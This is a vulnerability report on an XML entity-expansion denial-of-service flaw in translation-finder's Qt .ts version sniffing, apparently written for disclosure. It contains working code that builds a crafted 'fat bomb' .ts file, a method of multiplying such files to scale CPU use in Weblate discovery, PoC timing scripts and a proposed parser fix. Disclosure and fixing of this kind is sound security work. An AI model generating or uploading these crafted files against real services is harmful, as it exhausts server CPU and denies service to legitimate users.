The researcher tested two things: the master branch at commit 671d213 (dated 2026-10-07) and the released 3.6.1 installed from PyPI. PyPI is the main public catalogue where Python packages are published. The function was extracted from both copies and compared: they are byte identical, meaning not one character differs. So every released version that includes the Qt backend should be affected, not just these two points.
Affected versions
translation-finder3.6.1 (the current latest on PyPI) and current master at671d213. Unfixed in both.- The maintainer's recent hardening commit
d69b673("fix(discovery): bound multi-file format sniffing") shipped inside released 3.6.1. The researcher verified it is a git ancestor of the release commitc5ac867usinggit merge-base --is-ancestor, a command that answers "is this commit part of the history that led to that one?". But its budgets cap bytes and files per result. They do not cap the number of results, which is exactly the axis this bug scales on. - Commit
97e7e02(the wildcard matching fix from a separate report, #4093379) touchesfinder.pyandbase.py, not this function. - No public GitHub issue, GHSA or CVE covered entity expansion in
.tsparsing as of 2026-10-07. A GHSA is a GitHub Security Advisory, GitHub's own way of publishing vulnerability notices; a CVE is a globally catalogued identifier for a known vulnerability.
How the researcher found it
_get_qt_ts_version() parses attacker-supplied .ts content with xml.parsers.expat, a parser that comes with Python, using its default settings for entities. It registers a StartElementHandler, which is a callback: a function the parser calls when it reaches an opening tag. That callback's whole job is to grab the version attribute of the root <TS> element and then abort by raising a custom _QtRootFoundError. Raising an error is a way for a function to stop what it is doing and hand control back up the chain.
That guard cannot help. expat expands internal entities while it normalises attribute values, and that happens before the start element handler is ever called. Normalising means cleaning up the raw text into its final value, which includes replacing every entity reference with the text it stands for. So by the time the abort fires, the expansion work has already been paid.
There is no EntityDeclHandler registered and no DTD hardening anywhere in the codebase. An EntityDeclHandler would be a callback that fires when the parser sees an entity being declared, which is the earliest possible moment to say no. The researcher grepped both copies of the code for EntityDeclHandler and SetParamEntityParsing (another setting that controls how the parser treats the DTD) and got zero hits. Grep is a command-line search tool; zero hits means those names do not appear anywhere. So an attacker can declare any internal entity chain in the DOCTYPE and reference it from the version attribute.
expat does have a built-in billion laughs protection, but it bounds the amplification ratio (roughly 100x), not the absolute work. In other words, it refuses a file that asks for more than about a hundred times its own size in expansion, but it does not care how big that hundred times is. That interacts badly with the library's own FORMAT_SNIFF_MAX_BYTES = 1 MiB sniff cap. "Sniffing" is the quick look a program takes at a file to guess its format; the cap says it will only look at the first megabyte (1 MiB, about 1.05 million bytes).
- A tiny bomb fails: a 599 byte file asking for 100 MB of expansion is stopped by the ratio cap in 0.051 s (measured).
- A fat bomb works: a file padded to 957,496 bytes (just under the 1 MiB sniff cap) whose
versionattribute holds 55 references to an entity chain that expands to 1 M chars stays inside the ratio budget (~57x) and forces ~55 MB of expansion in one parse. Measured 0.866 s per parse against 0.006 s for a benign.tsof the same size, about 145x the cost of the same sniff on a normal file.
The scaling axis is that QtDiscovery.adjust_format() runs once per discovery result. A discovery result is one entry in the list of things the library thinks it found. Naming files a0-cs.ts, a1-cs.ts, and so on makes the discovery logic emit one distinct wildcard mask (a0-*.ts, a1-*.ts, ...) per file. A wildcard mask is a pattern with a * standing for "anything", used to say "all files that look like this belong together". Because each crafted file gets its own mask, each becomes its own result and gets parsed once. The d69b673 budgets are per result and nothing caps the result count, so N crafted files means N full parses in a single discover() call. The researcher measured qt_parses == N exactly: N=50 gives 50 parses and 31.68 s of CPU on master.
The bomb also compresses extremely well: 957,496 bytes deflate down to 4,068 bytes (235x). Deflate is the compression method used inside zip files. So the upload cost is ~163 CPU-seconds per compressed MB. For comparison, the .tx/config vector in report #4093838 is ~8 CPU-s per compressed MB, making this roughly 20x more upload efficient. A "vector" here just means the route the attack takes.
Reproducing it, step by step
Step 1: set up the environment
python3 -m venv venv && venv/bin/pip install translation-finder
# or: git checkout 671d213 and pip install -e .
Line by line:
python3 -m venv venvcreates a virtual environment in a folder calledvenv. A virtual environment is a private box for Python packages, so installing things for this test does not disturb the rest of the computer.venv/bin/pip install translation-finderuses the package installer inside that box to download and install the released library from PyPI.- The commented line is the alternative: check out the master snapshot
671d213from the code repository and install it in editable mode (-e), meaning the installed copy points straight at the checked-out files.
Step 2: build the bomb file
The payload is a syntactically valid Qt .ts file. A 6 level entity chain (each level expands the previous one 10x, so e5 = 1,000,000 chars) is referenced 55 times from the version attribute, and the file is padded with XML comments to just under the 1 MiB sniff cap:
pad = 950_000
lines = ['<?xml version="1.0" encoding="utf-8"?>']
made = 0
while made < pad - 700:
chunk = "<!-- " + "P" * 118 + " -->\n"
lines.append(chunk)
made += len(chunk)
lines.append("<!DOCTYPE TS [")
lines.append('<!ENTITY e0 "AAAAAAAAAA">') # 10 chars
for i in range(1, 6):
ref = f"&e{i-1};" * 10 # 100, 1k, 10k, 100k, 1M
lines.append(f'<!ENTITY e{i} "{ref}">')
lines.append("]>")
lines.append('<TS version="' + "&e5;" * 55 + '">') # 55 refs = 55 MB expansion
lines.append(
"<context><name>x</name>"
"<message><source>s</source><translation>t</translation></message>"
"</context>"
)
lines.append("</TS>")
open("a0-cs.ts", "w").write("\n".join(lines))
What each part does:
pad = 950_000sets a target amount of padding, roughly 950,000 characters.lines = [...]starts a list of text lines with the standard XML declaration at the top, which every XML file normally begins with.- The
whileloop keeps adding comment lines until the padding target is nearly reached.<!-- ... -->is an XML comment: text the parser ignores. Each chunk is a comment containing 118 letter P characters, plus a newline. Comments are used because they are valid XML that the parser skips, so they add size without adding meaning. lines.append("<!DOCTYPE TS [")opens the DOCTYPE section, the place where entities are declared.TSis the name of the document type.<!ENTITY e0 "AAAAAAAAAA">declares the first entity,e0, as ten letter A characters.- The
forloop declares entitiese1throughe5. Each one is built from ten references to the previous one. Soe1is ten copies ofe0(100 characters),e2is ten copies ofe1(1,000 characters), and so on up toe5, which is 1,000,000 characters. The comments in the code spell out those sizes. lines.append("]>")closes the DOCTYPE section.- The
<TS version="...">line is the root element, and itsversionattribute contains 55 references toe5. Each reference expands to a million characters, so the parser must build 55 million characters just to work out what the attribute value is. - The
context,message,sourceandtranslationlines are ordinary.tscontent, so the file looks like a real translation file. </TS>closes the root element.- The last line writes all the lines, joined with newlines, to a file called
a0-cs.ts.
This produces a 957,496 byte file. Two details matter:
- The file must stay under 1 MiB or
adjust_format()will not sniff it. The padding exists to buy enough "legitimate" size for the ~57x expansion ratio to stay under expat's ~100x amplification cap. In other words, the padding is what makes the bomb fat enough that the ratio check lets it through. - The name matters.
a0-cs.tsmakes the naming heuristic treata0as a prefix token andcsas the language code (). A heuristic is a rule of thumb rather than an exact rule. So discovery generates the wildcard maska0-*.tsfor this file and yields one result. Any<prefix>-<lang>.tsshape works.
Step 3: put it in a repo and time one discovery
mkdir repo && mv a0-cs.ts repo/
time venv/bin/python -c "from translation_finder import discover; print(len(discover('repo')))"
mkdir repocreates an empty folder to act as the uploaded repository.mv a0-cs.ts repo/moves the bomb into it.timeis a shell keyword that reports how long the following command took.venv/bin/python -c "..."runs a short Python program. It imports thediscoverfunction from the library, calls it on therepofolder, and prints how many results came back.
This prints 1 and takes ~0.6 to 0.9 s of CPU depending on tree (0.866 s measured on 3.6.1). Deleting the DOCTYPE block from the same file (keeping everything else, still a valid 950 KB .ts) and rerunning gives 0.006 s. That difference is the bug; nothing else in the file changed. This is the key comparison: same file size, same content apart from the entity declarations, wildly different cost.
Step 4: show the linear scaling
Create 50 bombs named a0-cs.ts through a49-cs.ts in one repo, then count parses while timing:
import sys, time
sys.path.insert(0, "/path/to/translation_finder_tree")
import translation_finder.discovery.files as f
n = {"c": 0}
orig = f._get_qt_ts_version
def counting(content):
n["c"] += 1
return orig(content)
f._get_qt_ts_version = counting
from translation_finder import discover
t0 = time.perf_counter()
r = discover("repo")
print(len(r), n["c"], round(time.perf_counter() - t0, 2))
Line by line:
import sys, timeloads two standard Python modules: one for adjusting where Python looks for code, one for measuring time.sys.path.insert(0, ...)puts the folder holding the library at the front of the search path, so Python imports that copy rather than any other installed one.import translation_finder.discovery.files as floads the specific module that contains the vulnerable function and gives it the short namef.n = {"c": 0}creates a small counter stored in a dictionary, so the counting function can update it.orig = f._get_qt_ts_versionsaves a reference to the real function before replacing it.def counting(content):defines a replacement function that increments the counter and then calls the original. This is called monkey patching: swapping a function at runtime to observe how often it is used.f._get_qt_ts_version = countinginstalls the replacement.t0 = time.perf_counter()records a high-resolution start time.r = discover("repo")runs the real discovery on the folder.print(...)prints three numbers: how many results came back, how many times the function was called, and the elapsed seconds rounded to two decimals.
Output on master 671d213 with 50 bombs: 50 50 31.7. The parse count equals the file count exactly, at every N tested (1, 10, 25, 50). That is what "linear scaling" means here: the parse count equals the file count.
Step 5: the scripted way
The attached PoCs do all of the above, build their trees in temp dirs and cap child memory with RLIMIT_AS 2 GiB:
# single file suite (benign, tiny bomb, fat bomb, k=70 ceiling, patched comparison, 10x multiplication)
python3 poc_tf_qt_ts_entity_bomb_361.py # against PyPI 3.6.1
python3 poc_tf_qt_ts_entity_bomb.py # against master
# scaling probe, parse counting included
python3 poc_tf_qt_ts_scaling_n.py /path/to/translation_finder 1 10 25 50
- A PoC is a proof of concept: a small program that demonstrates the problem.
- The first script runs the single-file tests against the released 3.6.1; the second runs the same against master.
- The third script takes the path to the library and a list of file counts (1, 10, 25, 50) and measures each.
RLIMIT_ASis an operating-system limit on how much memory a process may use; setting it to 2 GiB keeps a runaway test from taking down the whole machine.
Adjust the sys.path line at the top of each script. This is exactly what was run; raw output is attached as run_361.txt and scaling_n.txt.
Measured results
Single file suite (PyPI 3.6.1, RLIMIT_AS 2 GiB):
| test | file size | expansion asked | time | peak RSS |
|---|---|---|---|---|
| benign 950 KB .ts, no DOCTYPE | 956,969 B | - | 0.006 s | 20.8 MiB |
| tiny bomb, e7 chain | 599 B | 100,000,000 chars | 0.051 s | 26.1 MiB |
| fat bomb, k=55 | 957,496 B | 55,000,000 chars | 0.866 s | 127.9 MiB |
| fat bomb, k=70 (ceiling probe) | 957,556 B | 70,000,000 chars | 0.566 s | 84.3 MiB |
| fat bomb k=55 with deny-all EntityDeclHandler | 957,496 B | 55,000,000 chars | 0.006 s | 22.7 MiB |
| 10 fat bombs in one repo | 957,496 B each | - | 5.148 s | 129.4 MiB |
How to read the table: "benign" means a normal file with no trickery. "RSS" is resident set size, the amount of memory the process actually has in use. "k" is the number of times the entity is referenced in the version attribute.
The tiny bomb line is the control showing expat's ratio cap works: a 599 byte file cannot ask for 100 MB of expansion, and expat aborts almost immediately. The fat bomb stays under the ratio and pays full price. The patched line is the same bomb with a deny-all EntityDeclHandler installed before parsing, which is the fix proposed below.
Scaling (master 671d213):
| N crafted .ts files | qt_parses | discover() time | peak RSS |
|---|---|---|---|
| 1 | 1 | 0.605 s | 130.1 MiB |
| 10 | 10 | 5.154 s | 132.2 MiB |
| 25 | 25 | 16.13 s | 132.4 MiB |
| 50 | 50 | 31.68 s | 132.7 MiB |
Same probe on PyPI 3.6.1, N=25: 25 parses, 15.88 s, 129.7 MiB. The per-file cost is ~0.65 CPU-s per MB of crafted .ts, identical rate on 3.6.1 and master. Peak RSS is flat across the whole table: CPU is the exhausted resource, not memory. "Flat" means the memory figure barely moves as the number of files grows, so the attack is not about running out of memory but about burning processor time.
Upload amplification: 957,496 B compresses to 4,068 B with deflate -9 (measured, zip_ratio_bomb.txt). "Deflate -9" means the compression algorithm at its highest setting. 50 bombs are ~203 KB zipped for 31.68 s of CPU, so ~163 CPU-s per uploaded MB. Report #4093838 measured ~8 CPU-s per compressed MB for the .tx/config vector; this one is about 20x more efficient per uploaded byte. "Upload amplification" means how much work the server does per byte the attacker sends.
Limitations stated by the researcher
- End-to-end numbers are from single runs (n=1) on Kali, Python 3.13.9. The parse-primitive comparison was repeated a few times. Absolute seconds are machine dependent; the ratios (145x vs benign of the same size, exact N parses, flat RSS) are the meaningful part. "n=1" means each measurement was taken once, so small variations between runs are not averaged out.
- Only the expat shipped with Python 3.13.9 (2.7.3) was tested. The code has no entity handler in any tree checked and the function is byte identical between 3.6.1 and master, so the weakness class applies wherever expat's ratio cap lets a sub-1 MiB file expand tens of MB. Older expat builds may be more permissive, not less, but other versions were not tested.
- The k=70 ceiling probe ran faster than k=55 (0.566 s vs 0.866 s, lower peak RSS). The internal accounting behind that was not investigated. k=55 is the measured sweet spot and all scaling numbers use it.
- The Weblate-side call path is inferred from source (
discover()on user-controlled VCS content during component import/create); no live Weblate instance was used. "Inferred from source" means the researcher read the code and reasoned about how Weblate calls the library, rather than watching a real Weblate server do it.
Duplicate check
Before reporting, the researcher checked whether the problem was already known. This matters because a report that repeats an existing one wastes everyone's time.
- Security advisories on the repo: 0 ("There aren't any published security advisories").
- OSV.dev for the PyPI package
translation-finder:{}, no entries. OSV.dev is a public database of known vulnerabilities in open-source packages;{}is an empty result. - Web/CVE/GHSA search: only Weblate platform advisories come up, none reference
translation-finder. CVE-2026-62326 / GHSA-r52j-4vjp-q949 is about regex flags in Weblate core, unrelated. Regex flags are settings that change how a pattern-matching expression behaves; that advisory concerns a different part of the product. - The issue sweep run for the other two reports (all 27 issues on the repo via the GitHub API, open and closed) found no DoS or resource consumption reports, and nothing touching
.ts/XML/entity parsing. DoS means denial of service: making a service unusable for others. - The hardening commits
d69b673and97e7e02add no entity handling to_get_qt_ts_version(). The extracted function filesget_qt_ts_version_361.pyandget_qt_ts_version_main.pydiff empty. "Diff empty" means comparing the two files shows no differences at all. - This is a different bug class from the open reports #4093379 (quadratic fnmatch matching, algorithmic complexity) and #4093838 (
.tx/configconfigparser cost, unbounded count). Here a single crafted file is enough, and the fix is parser hardening, not a count cap. "Quadratic" means the cost grows with the square of the input size, a different shape of problem from the one described here.
Root cause
The vulnerable code as it stands:
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
parser.StartElementHandler = handle_start
try:
parser.Parse(content, False)
except _QtRootFoundError:
return version
except expat.ExpatError:
return None
return None
(filed at translation_finder/discovery/files.py:80 on master, identical body in 3.6.1)
What each part does:
def _get_qt_ts_version(content: str) -> str | None:declares a function that takes the file's text and returns either a string (the version) or nothing.version: str | None = Nonesets up a variable to hold the answer, starting empty.parser = expat.ParserCreate()creates a new XML parser with default settings.def handle_start(name, attributes):defines the callback that runs whenever the parser reaches an opening tag.nonlocal versionlets the callback write to theversionvariable defined outside it.if name == "TS":checks whether this is the root element.version = attributes.get("version")copies the version attribute into the variable.raise _QtRootFoundErrorstops parsing immediately by raising a custom error.parser.StartElementHandler = handle_starttells the parser to use that callback.parser.Parse(content, False)runs the parse. TheFalseis the isfinal argument, telling expat this is not the final chunk of input.- The
try/exceptblock catches the custom error and returns the version, catches a normal XML error and returns nothing, and otherwise returns nothing.
Why this is vulnerable:
ParserCreate()with default settings accepts internal entity declarations from the DOCTYPE and expands them.- Only
StartElementHandleris set: noEntityDeclHandler, noSetParamEntityParsing, no DTD filtering of any kind. QtDiscovery.adjust_format()(files.py:629) feeds up toFORMAT_SNIFF_MAX_BYTES(1 MiB) of each.tscandidate into this function, once per discovery result.
Why the existing protections do not help:
- expat's amplification cap (roughly 100x) bounds the ratio, not the work. The 1 MiB sniff cap effectively hands the attacker ~1 MB of file to play with, and a file just under the cap can still legally expand ~55 MB inside the ratio budget. The cap sets the size of the bomb, it does not stop it.
FORMAT_SNIFF_MAX_FILES = 10(added byd69b673, shipped in 3.6.1) is a per-result budget for sniffing multiple candidate files of one result. Here each crafted file produces its own result with exactly one candidate file, so the budget is never touched, and nothing anywhere caps how many results a tree can produce.- The early abort (
raise _QtRootFoundErrorfromhandle_start) fires only after the<TS>start tag is fully processed, which is after its attribute values have been normalised, which is after every&e5;reference has been expanded. The guard runs after the bill arrives.
Impact
discover()runs on user-uploaded repos and archives in Weblate during component import/create. Any user who can upload a repo can trigger this.- 50 crafted files cost ~48 MB on disk but only ~203 KB in a zip, and burn ~32 CPU-seconds per discovery run. K is attacker-chosen, no cap exists anywhere in the library, and discovery re-runs on every repository update, so the cost repeats for as long as the files stay in the repo.
- ~163 CPU-seconds per compressed MB uploaded. A few concurrent requests with such uploads will stall web workers or exhaust the worker pool, since the parse runs CPU bound inside request handling. "CPU bound" means the work is limited by processor speed rather than by waiting for disk or network. A worker pool is the set of processes a web server uses to handle requests; if they are all busy, new requests wait.
- Unlike the
.tx/configvector (#4093838), this one does produce results (each bomb parses fine after paying the expansion), so downstream Weblate code also receives N junk discovery results on top of the CPU cost. - Availability impact only. Peak RSS stays at ~130 MiB under a 2 GiB child limit across the entire scaling table; no memory impact was sought. Symlinks and FIFOs are already handled safely (
_open_regular_fileusesO_NOFOLLOW). A symlink is a shortcut pointing at another file; a FIFO is a special file that passes data between programs.O_NOFOLLOWis a flag telling the system not to follow a symlink, which closes off a different kind of trick.
The fix
Register an EntityDeclHandler in _get_qt_ts_version() that rejects every entity declaration. Real .ts files produced by Qt Linguist do not use DTD entities, so denying all of them cannot break legitimate discovery. The handler fires at declaration time, before any reference is expanded:
def _get_qt_ts_version(content: str) -> str | None:
"""Return the version from a Qt TS root element."""
version: str | None = None
parser = expat.ParserCreate()
def handle_start(name: str, attributes: dict[str, str]) -> None:
nonlocal version
if name == "TS":
version = attributes.get("version")
raise _QtRootFoundError
def deny_entity(entityName, is_parameter_entity, value, base, systemId,
publicId, notationName):
raise expat.ExpatError("entities are not allowed in .ts discovery")
parser.StartElementHandler = handle_start
parser.EntityDeclHandler = deny_entity
# rest unchanged
What changed: a new function deny_entity is defined. It takes the details of any entity declaration and immediately raises an error, refusing it. The line parser.EntityDeclHandler = deny_entity tells the parser to call it the moment an entity is declared. Because that happens before any reference is expanded, the bomb never gets a chance to go off. The rest of the function is unchanged.
Measured reference fix on the same 957 KB bomb: 0.006 s and 22.7 MiB peak RSS, versus 0.866 s and 127.9 MiB unfixed.
Alternatives that also work:
- Cheap pre-filter before parsing: skip
.tscandidates whose sniffed content contains<!ENTITYat all. This is a simple text search, much cheaper than parsing. - In the
d69b673style, giveQtDiscovery.adjust_format()a shared per-discovery budget (total Qt parses perdiscover()call) so the result-count axis stays bounded as well. This is defence in depth; the handler alone already removes three orders of magnitude. "Defence in depth" means adding a second layer of protection in case the first is bypassed.
These are follow-up ideas for anyone checking whether the same pattern appears elsewhere:
- A positive result is a parse whose time grows with entity depth or reference count while the file stays under the sniff byte cap.
- A positive result is a k where expansion stays inside the ~100x ratio budget but still costs hundreds of milliseconds per parse; the report's k=55 is one such point, and k=70 behaved differently, so the sweet spot is worth mapping per parser version.
- A positive result is a parse counter that equals the number of crafted files in a single
discover()call, with per-result budgets untouched. - A positive result is a high CPU-s per compressed MB ratio, as with the 235x deflate ratio here.
- A positive result is a parser created with defaults that later processes attacker-controlled XML.
- A positive result is expansion work without the filtered token appearing in the sniffed bytes.
Glossary
- API: a defined way for one program to ask another program to do something, like a menu of allowed requests.
- Attribute: extra information attached to a tag in a markup language, written as
name="value"inside the tag. - Availability: one of the three classic security goals; it means the service keeps working for legitimate users. An availability attack makes it slow or unusable.
- Billion laughs attack: a nickname for an XML bomb, because a small file can be made to expand into a huge amount of text, historically billions of "laughs".
- Callback: a function you hand to another piece of code, which that code calls when something happens.
- Commit: a saved snapshot of a code repository, identified by a short code such as
671d213. - Compression / deflate: a way of storing data in fewer bytes; deflate is the method used inside zip files.
- CPU bound: work limited by processor speed rather than by waiting for disk or network.
- CPU-second: one second of work on one processor core; a way of measuring how much computing effort something costs.
- CVSS: a standard scoring system for vulnerabilities, giving a number and a vector string that describes the conditions of the attack.
- CWE: a catalogue of common weakness types, each with a number, such as CWE-400 for uncontrolled resource consumption.
- CVE: a globally catalogued identifier for a specific known vulnerability.
- Defence in depth: adding more than one layer of protection so that a single failure does not open the door.
- Denial of service (DoS): an attack that makes a service unavailable or very slow for legitimate users.
- Diff: a comparison showing what differs between two versions of a file.
- DOCTYPE / DTD: the section at the top of an XML file that declares the document type and any entities it uses.
- Entity: a named piece of text in XML that can be referenced elsewhere with
&name;and is replaced by its value when parsed. - Entity expansion: the process of replacing entity references with the text they stand for.
- expat: a widely used XML parser library, included with Python.
- GHSA: GitHub Security Advisory, GitHub's own format for publishing vulnerability notices.
- Git: a version control system that records the history of changes to code.
- Grep: a command-line tool for searching text for a pattern.
- Heuristic: a rule of thumb that usually works but is not guaranteed to be exact.
- MiB / MB: units of data size; a MiB is 1,048,576 bytes, an MB is 1,000,000 bytes.
- Monkey patching: replacing a function at runtime to observe or change its behaviour.
- OSV.dev: a public database of known vulnerabilities in open-source packages.
- Parser: a program that reads structured text and turns it into something a program can work with.
- PoC (proof of concept): a small program that demonstrates a problem really exists.
- PyPI: the main public catalogue where Python packages are published.
- Ratio cap: a limit that compares how much a file expands to how big it is, rather than limiting the absolute amount.
- Release: a numbered, published version of a piece of software.
- Repository: a folder of files tracked by a version control system, or more loosely any folder of files a service imports.
- RLIMIT_AS: an operating-system limit on how much memory a process may use.
- RSS (resident set size): the amount of memory a running process actually has in use.
- Sniffing: a quick look at the start of a file to guess what format it is.
- Symlink: a shortcut file that points at another file.
- FIFO: a special file that passes data between programs.
- Vector (attack vector): the route an attack takes to reach the target.
- Virtual environment: a private box for Python packages so installs do not affect the rest of the computer.
- Wildcard mask: a file-name pattern with
*standing for "anything", used to group similar files. - Worker pool: the set of processes a web server uses to handle incoming requests.
- XML: a markup language made of tags in angle brackets, used for structured documents such as
.tsfiles. - XML bomb: a small XML file crafted so that parsing it consumes a huge amount of resources.
.tsfile: a Qt Linguist translation file, an XML document whose root element is<TS>and which carries aversionattribute.